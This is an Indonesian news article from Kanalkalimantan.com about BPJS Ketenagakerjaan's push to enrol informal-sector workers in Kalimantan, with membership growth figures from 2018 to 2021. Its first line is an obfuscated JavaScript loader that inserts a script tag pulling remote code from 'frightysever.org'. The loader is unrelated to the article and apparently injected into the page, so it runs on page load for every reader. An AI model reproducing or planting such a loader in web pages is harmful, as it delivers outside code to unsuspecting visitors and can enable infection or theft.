(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Deputi Direktur BPJS Ketenagakerjaan Wilayah Kalimantan, Rini Suryani mendorong pekerja sektor informal dapat mendaftarkan diri sebagai peserta BPJS Ketenagakerjaan, sehingga dapat memiliki jaminan sosial dari BP JAMSOSTEK.
Apalagi hal itu didukung dengan biaya iuran yang dibebankan setiap bulannya dengan harga yang sangat terjangkau, mulai dari Rp 16.800. Oleh karena itu, peserta dipastikan mendapatkan manfaat yang akan diperoleh di kemudian hari.
Rini bersyukur ada kenaikan pertumbuhan peserta BPJS ketenagakerjaan di wilayah Kalimantan dari sektor tenaga kerja aktif. Pada 2021 ini sampai dengan bulan Oktober tenaga kerja aktif penerima upah tumbuh sebesar 3,85 persen dari tahun sebelumnya.
“Dalam kurun waktu 4 tahun sejak 2018-2021 terdapat tren positif pada pertumbuhan tenaga kerja aktif sektor penerima upah. Terjadi pertumbuhan signifikan pada tahun 2019 sebesar 4,06 persen dari tahun sebelumnya,” ujar Rini Suryani, Jumat (3/12/2021).
Sedangkan untuk tenaga kerja aktif bukan penerima upah (BPU), kata Rini juga mengalami pertumbuhan selama 4 tahun terakhir. Meskipun diakuinya pada 2019 silam sempat adanya penurunan.
“Terjadi pertumbuhan signifikan pada tahun 2021 sampai dengan bulan Oktober sebesar 11,41 persen dari tahun sebelumnya. Pada tahun 2019 sempat terjadi penurunan pertumbuhan tenaga kerja aktif bukan penerima upah sebesar -2,06 persen dari tahun sebelumnya,” paparnya.
Sementara itu, untuk pekerja bukan penerima upah jumlahnya mencapai 170 ribu di tahun 2019, turun tahun 2020 dan kemudian naik lagi pada 2021 per 30 oktober. “Naiknya cukup tinggi tidak signifikan jadi 193 ribu meski pandemi Covid-19,” tambah Rini.
Dikatakan Rini, kepesertaan BPJS Ketenagakerjaan untuk wilayah Kalimantan melayani 5 provinsi dengan jumlah 48 ribu, dari jumlah perusahan yang ikut mencapai 189 ribu. Kemudian untuk penerima upah 1,5 juta yang diantaranya pekerja jasa konstruksi 11,89 persen.
“Sektor usaha yang ada yang banyak menjadi peserta BPJS TK sektor pertanian, perkebunan pertambangn, industri pengolahan, konstruksi dan perdagangan,” tuntasnya. (Kanalkalimantan.com/al)
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
This website uses cookies.